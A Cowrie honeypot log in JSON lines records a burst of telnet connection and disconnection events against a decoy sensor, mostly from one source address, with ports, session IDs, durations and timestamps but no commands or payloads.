{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35950,"dst_ip":"159.203.135.109","dst_port":23,"session":"097014b22d73","protocol":"telnet","message":"New connection: 174.142.104.49:35950 (159.203.135.109:23) [session: 097014b22d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.296939Z"}
{"eventid":"cowrie.session.closed","duration":33.91583871841431,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.367108Z","src_ip":"161.132.53.68","session":"1b1437b12832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091237783432007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.676594Z","src_ip":"174.142.104.49","session":"6206f9720682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.319217920303345,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.696514Z","src_ip":"174.142.104.49","session":"90bc8f88f908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273860692977905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:39.822030Z","src_ip":"174.142.104.49","session":"21bad00deb0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21190071105957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:40.078058Z","src_ip":"174.142.104.49","session":"ba46fa75bb20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01773762702942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:40.108953Z","src_ip":"174.142.104.49","session":"d6fb24b87b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337993383407593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.104087Z","src_ip":"174.142.104.49","session":"e6762e8c590b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722098112106323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.194021Z","src_ip":"174.142.104.49","session":"ee08ac6bfb2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39504,"dst_ip":"159.203.135.109","dst_port":23,"session":"cec8c09b0c5a","protocol":"telnet","message":"New connection: 174.142.104.49:39504 (159.203.135.109:23) [session: cec8c09b0c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.613819Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39670,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8423b2e8994","protocol":"telnet","message":"New connection: 174.142.104.49:39670 (159.203.135.109:23) [session: b8423b2e8994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.732331Z"}
{"eventid":"cowrie.session.closed","duration":31.316949367523193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.750246Z","src_ip":"174.142.104.49","session":"760f14802fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d149d9d3a7c","protocol":"telnet","message":"New connection: 174.142.104.49:39740 (159.203.135.109:23) [session: 8d149d9d3a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.755819Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40354,"dst_ip":"159.203.135.109","dst_port":23,"session":"2daedfbe6268","protocol":"telnet","message":"New connection: 174.142.104.49:40354 (159.203.135.109:23) [session: 2daedfbe6268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:41.956123Z"}
{"eventid":"cowrie.session.closed","duration":30.467373609542847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:42.237925Z","src_ip":"174.142.104.49","session":"7d1f75663bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42356777191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:42.454322Z","src_ip":"174.142.104.49","session":"8aacb763290a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935155153274536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:42.979052Z","src_ip":"174.142.104.49","session":"60c8d62890f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190830230713,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.179903Z","src_ip":"174.142.104.49","session":"8493064a06cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05286955833435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.210199Z","src_ip":"174.142.104.49","session":"6c7e401145d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39084,"dst_ip":"159.203.135.109","dst_port":23,"session":"d337d1378df0","protocol":"telnet","message":"New connection: 174.142.104.49:39084 (159.203.135.109:23) [session: d337d1378df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.275116Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41064,"dst_ip":"159.203.135.109","dst_port":23,"session":"b46ff3feb3a0","protocol":"telnet","message":"New connection: 174.142.104.49:41064 (159.203.135.109:23) [session: b46ff3feb3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.310299Z"}
{"eventid":"cowrie.session.closed","duration":31.11427927017212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.379807Z","src_ip":"174.142.104.49","session":"e088cf7898e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05192255973816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.477355Z","src_ip":"174.142.104.49","session":"dddf3c3e7690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20348572731018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.489890Z","src_ip":"174.142.104.49","session":"91a2997dcedc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df12bac93c7","protocol":"telnet","message":"New connection: 174.142.104.49:43302 (159.203.135.109:23) [session: 5df12bac93c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.698464Z"}
{"eventid":"cowrie.session.closed","duration":31.525973081588745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.713231Z","src_ip":"174.142.104.49","session":"e1b489646beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45660,"dst_ip":"159.203.135.109","dst_port":23,"session":"babffba8ce79","protocol":"telnet","message":"New connection: 161.132.53.68:45660 (159.203.135.109:23) [session: babffba8ce79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.892471Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43598,"dst_ip":"159.203.135.109","dst_port":23,"session":"0445a6dcb61e","protocol":"telnet","message":"New connection: 174.142.104.49:43598 (159.203.135.109:23) [session: 0445a6dcb61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:43.900538Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42106,"dst_ip":"159.203.135.109","dst_port":23,"session":"5feeb1c333ef","protocol":"telnet","message":"New connection: 174.142.104.49:42106 (159.203.135.109:23) [session: 5feeb1c333ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:44.065888Z"}
{"eventid":"cowrie.session.closed","duration":30.100106477737427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:44.107893Z","src_ip":"174.142.104.49","session":"cf29ca851353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43912,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c0ca2f2a8be","protocol":"telnet","message":"New connection: 174.142.104.49:43912 (159.203.135.109:23) [session: 5c0ca2f2a8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:44.160462Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39382,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b4dcbfa3b01","protocol":"telnet","message":"New connection: 174.142.104.49:39382 (159.203.135.109:23) [session: 7b4dcbfa3b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:44.553612Z"}
{"eventid":"cowrie.session.closed","duration":37.914823055267334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:44.740232Z","src_ip":"174.142.104.49","session":"770f63bc55a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44818,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e14267f0174","protocol":"telnet","message":"New connection: 174.142.104.49:44818 (159.203.135.109:23) [session: 1e14267f0174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:44.746583Z"}
{"eventid":"cowrie.session.closed","duration":30.27634620666504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:45.242545Z","src_ip":"174.142.104.49","session":"8394a2fde45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45984,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccd3f1234f96","protocol":"telnet","message":"New connection: 174.142.104.49:45984 (159.203.135.109:23) [session: ccd3f1234f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:45.357909Z"}
{"eventid":"cowrie.session.closed","duration":30.831573009490967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:45.426823Z","src_ip":"174.142.104.49","session":"b4a5e163a80d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417348623275757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:45.441931Z","src_ip":"174.142.104.49","session":"bfb938fc87d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0052740573883,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:45.672879Z","src_ip":"174.142.104.49","session":"31a4dd64b772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188149213790894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:45.742577Z","src_ip":"174.142.104.49","session":"b1304828f089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41447424888611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.513061Z","src_ip":"174.142.104.49","session":"c2697808cfbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.495566844940186,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.705582Z","src_ip":"174.142.104.49","session":"41f92af27ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.48328423500061,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.716598Z","src_ip":"174.142.104.49","session":"08a91558ee7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.645352363586426,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.782928Z","src_ip":"174.142.104.49","session":"1deb1d599e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463698387145996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.985452Z","src_ip":"174.142.104.49","session":"b489cac1b3ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9edb9f9d830","protocol":"telnet","message":"New connection: 174.142.104.49:50126 (159.203.135.109:23) [session: b9edb9f9d830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.990208Z"}
{"eventid":"cowrie.session.closed","duration":31.472736597061157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:46.999125Z","src_ip":"174.142.104.49","session":"a24c1d06e188","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366813898086548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.014510Z","src_ip":"174.142.104.49","session":"f2aaf96ff191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40790,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cfd8a068627","protocol":"telnet","message":"New connection: 174.142.104.49:40790 (159.203.135.109:23) [session: 3cfd8a068627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.146440Z"}
{"eventid":"cowrie.session.closed","duration":31.957887411117554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.188246Z","src_ip":"174.142.104.49","session":"7aa6930ab055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45830,"dst_ip":"159.203.135.109","dst_port":23,"session":"06022d25677c","protocol":"telnet","message":"New connection: 174.142.104.49:45830 (159.203.135.109:23) [session: 06022d25677c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.273311Z"}
{"eventid":"cowrie.session.closed","duration":30.96853256225586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.594027Z","src_ip":"174.142.104.49","session":"13ec710d734f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49646,"dst_ip":"159.203.135.109","dst_port":23,"session":"01017cbe59f1","protocol":"telnet","message":"New connection: 174.142.104.49:49646 (159.203.135.109:23) [session: 01017cbe59f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.686861Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50040,"dst_ip":"159.203.135.109","dst_port":23,"session":"80a3aa8247e4","protocol":"telnet","message":"New connection: 174.142.104.49:50040 (159.203.135.109:23) [session: 80a3aa8247e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:47.861102Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49598,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da2031d2799","protocol":"telnet","message":"New connection: 174.142.104.49:49598 (159.203.135.109:23) [session: 9da2031d2799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:48.664771Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51504,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a46092213d7","protocol":"telnet","message":"New connection: 174.142.104.49:51504 (159.203.135.109:23) [session: 0a46092213d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:48.719217Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49816,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d45c93ea4e5","protocol":"telnet","message":"New connection: 174.142.104.49:49816 (159.203.135.109:23) [session: 5d45c93ea4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:48.777704Z"}
{"eventid":"cowrie.session.closed","duration":38.75091052055359,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.033477Z","src_ip":"174.142.104.49","session":"e969d422df5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47424,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d1968ed53b0","protocol":"telnet","message":"New connection: 174.142.104.49:47424 (159.203.135.109:23) [session: 2d1968ed53b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.210495Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59676,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b354e910112","protocol":"telnet","message":"New connection: 174.142.104.49:59676 (159.203.135.109:23) [session: 3b354e910112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.608473Z"}
{"eventid":"cowrie.session.closed","duration":0.009589672088623047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.617905Z","src_ip":"174.142.104.49","session":"3b354e910112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8e385b25be","protocol":"telnet","message":"New connection: 174.142.104.49:52930 (159.203.135.109:23) [session: 0f8e385b25be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.667979Z"}
{"eventid":"cowrie.session.closed","duration":40.762744188308716,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.672856Z","src_ip":"174.142.104.49","session":"62e42681e093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97493886947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.800442Z","src_ip":"174.142.104.49","session":"1a578d04171a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53340,"dst_ip":"159.203.135.109","dst_port":23,"session":"fefc2993b179","protocol":"telnet","message":"New connection: 174.142.104.49:53340 (159.203.135.109:23) [session: fefc2993b179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.878528Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53526,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fd618d81e4","protocol":"telnet","message":"New connection: 174.142.104.49:53526 (159.203.135.109:23) [session: 08fd618d81e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:49.981109Z"}
{"eventid":"cowrie.session.closed","duration":31.437549114227295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.151453Z","src_ip":"174.142.104.49","session":"9711e9253a24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.468584775924683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.186902Z","src_ip":"174.142.104.49","session":"d8cccbc8a414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"565678f111cc","protocol":"telnet","message":"New connection: 174.142.104.49:53920 (159.203.135.109:23) [session: 565678f111cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.239149Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52398,"dst_ip":"159.203.135.109","dst_port":23,"session":"84784c976cf2","protocol":"telnet","message":"New connection: 174.142.104.49:52398 (159.203.135.109:23) [session: 84784c976cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.373467Z"}
{"eventid":"cowrie.session.closed","duration":30.881922483444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.477771Z","src_ip":"174.142.104.49","session":"6389b1592dd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52550,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef118bbe4499","protocol":"telnet","message":"New connection: 174.142.104.49:52550 (159.203.135.109:23) [session: ef118bbe4499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.505269Z"}
{"eventid":"cowrie.session.closed","duration":24.21522545814514,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:50.976594Z","src_ip":"174.142.104.49","session":"caa8bac942da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50560,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e08c55207d","protocol":"telnet","message":"New connection: 174.142.104.49:50560 (159.203.135.109:23) [session: d3e08c55207d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.106115Z"}
{"eventid":"cowrie.session.closed","duration":31.217100143432617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.194373Z","src_ip":"174.142.104.49","session":"08aa4df95646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075835704803467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.228424Z","src_ip":"174.142.104.49","session":"75e325b20b72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906449794769287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.251938Z","src_ip":"174.142.104.49","session":"4e725e808109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051751375198364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.289849Z","src_ip":"174.142.104.49","session":"d4b0bda84d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36188769340515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.332428Z","src_ip":"174.142.104.49","session":"1129a8e8bc61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48476,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c3bfee1375","protocol":"telnet","message":"New connection: 161.132.53.68:48476 (159.203.135.109:23) [session: b4c3bfee1375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.409353Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56014,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5a3a2c3fde","protocol":"telnet","message":"New connection: 174.142.104.49:56014 (159.203.135.109:23) [session: 2b5a3a2c3fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.489271Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56460,"dst_ip":"159.203.135.109","dst_port":23,"session":"80129b472fcc","protocol":"telnet","message":"New connection: 174.142.104.49:56460 (159.203.135.109:23) [session: 80129b472fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:51.793911Z"}
{"eventid":"cowrie.session.closed","duration":31.398200511932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.027996Z","src_ip":"174.142.104.49","session":"76c12b84dbf5","protocol":"telnet"}
